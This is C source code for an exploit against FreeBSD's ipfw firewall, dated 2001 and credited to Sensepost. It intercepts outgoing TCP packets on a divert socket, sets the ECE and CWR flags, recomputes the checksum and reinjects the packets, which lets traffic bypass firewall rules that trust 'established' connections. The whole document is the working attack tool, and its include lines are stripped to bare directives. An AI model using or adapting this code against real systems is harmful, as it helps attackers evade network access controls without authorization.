/* * FreeBSD ipfw + TCP ECE flag exploit. * Plathond for Sensepost 2001/01/25 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DIVERT_PORT 7000 #define FALSE 0 #define TRUE 1 #define CKSUM_CARRY(x) \ (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff)) typedef unsigned char Boolean; static unsigned char pbuf[IP_MAXPACKET]; static unsigned long plen = 0; static int psock = -1; static struct sockaddr_in paddr; /* * These are stolen from libnet. */ int in_cksum(u_short *addr, int len) { int sum; int nleft; u_short ans; u_short *w; sum = 0; ans = 0; nleft = len; w = addr; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&ans) = *(u_char *)w; sum += ans; } return (sum); } void do_cksum(unsigned char *buf, int protocol, int len) { struct ip *ip; unsigned long ip_hl = 0; unsigned long sum = 0; ip = (struct ip *)buf; ip_hl = ip->ip_hl << 2; switch(protocol) { case IPPROTO_TCP: { struct tcphdr *tcp; tcp = (struct tcphdr *)(buf + ip_hl); tcp->th_sum = 0; sum = in_cksum((u_short *)&(ip->ip_src), 8); sum += ntohs(IPPROTO_TCP + len); sum += in_cksum((u_short *)tcp, len); tcp->th_sum = CKSUM_CARRY(sum); break; } default: return; } return; } void flushpacket(int fd) { int nR; nR = sendto(fd, pbuf, plen, 0, (struct sockaddr*) &paddr, sizeof(paddr)); if (nR != plen) { if (errno == ENOBUFS) return; if (errno == EMSGSIZE) { fprintf(stderr, "Need to implement frag.\n"); return; } else { fprintf(stderr, "Failed to write packet.\n"); return; } } psock = -1; } void handle_input(int sock) { int nR = 0; int addrsize = 0; struct ip *ip; Boolean fIsOutput = FALSE; unsigned int ip_hl = 0, tcp_hl = 0; unsigned int ip_data_len = 0; struct tcphdr *tcp = NULL; addrsize = sizeof(struct sockaddr_in); nR = recvfrom(sock, pbuf, sizeof(pbuf), 0, (struct sockaddr *)&paddr, &addrsize); if (nR == -1) { if (errno != EINTR) fprintf(stderr, "Warning : recvfrom() failed.\n"); goto over; } ip = (struct ip *)pbuf; ip_hl = ip->ip_hl << 2; /* Check if this is input or output */ if (paddr.sin_addr.s_addr == INADDR_ANY) fIsOutput = TRUE; else fIsOutput = FALSE; /* We are only handling TCP packets */ if (ip->ip_p != IPPROTO_TCP) goto over; /* Get the TCP header */ tcp = (struct tcphdr *) (pbuf + ip_hl); tcp_hl = tcp->th_off << 2; ip_data_len = ntohs(ip->ip_len) - ip_hl; /* Sanity check packet length */ if (ip_data_len <= 0) goto over; /* Add ECE and CWR flags to TCP header */ tcp->th_flags |= (0x40 | 0x80); /* Compute new checksum */ do_cksum(pbuf, IPPROTO_TCP, ip_data_len); /* Write packet back */ plen = nR; psock = sock; flushpacket(sock); over: return; } int main(int argc, char **argv) { int inoutsock = -1; fd_set rfs, wfs; int fdmax = -1; struct sockaddr_in addr; int rc; /* Create divert sockets */ if ((inoutsock = socket(PF_INET, SOCK_RAW, IPPROTO_DIVERT)) == -1) { fprintf(stderr, "socket() failed, exiting\n"); exit(1); } /* Bind socket */ addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = ntohs(DIVERT_PORT); if (bind(inoutsock, (struct sockaddr*) &addr, sizeof(struct sockaddr_in)) == -1) { fprintf(stderr, "Unable to bind socket, exiting\n"); exit(1); } while (1) { FD_ZERO(&rfs); FD_ZERO(&wfs); if (psock != -1) FD_SET(psock, &wfs); FD_SET(inoutsock, &rfs); if (inoutsock > psock) fdmax = inoutsock; else fdmax = psock; /* Select loop */ rc = select(fdmax + 1, &rfs, &wfs, NULL, NULL); if (rc == -1) { if (errno == EINTR) continue; fprintf(stderr, "select() failed, exiting\n"); exit(1); } /* Check for flush from previous packet */ if (psock != -1) { if (FD_ISSET(psock, &wfs)) flushpacket(psock); } /* Do we have input available ? */ if (FD_ISSET(inoutsock, &rfs)) { /* Yip, handle it */ handle_input(inoutsock); } } }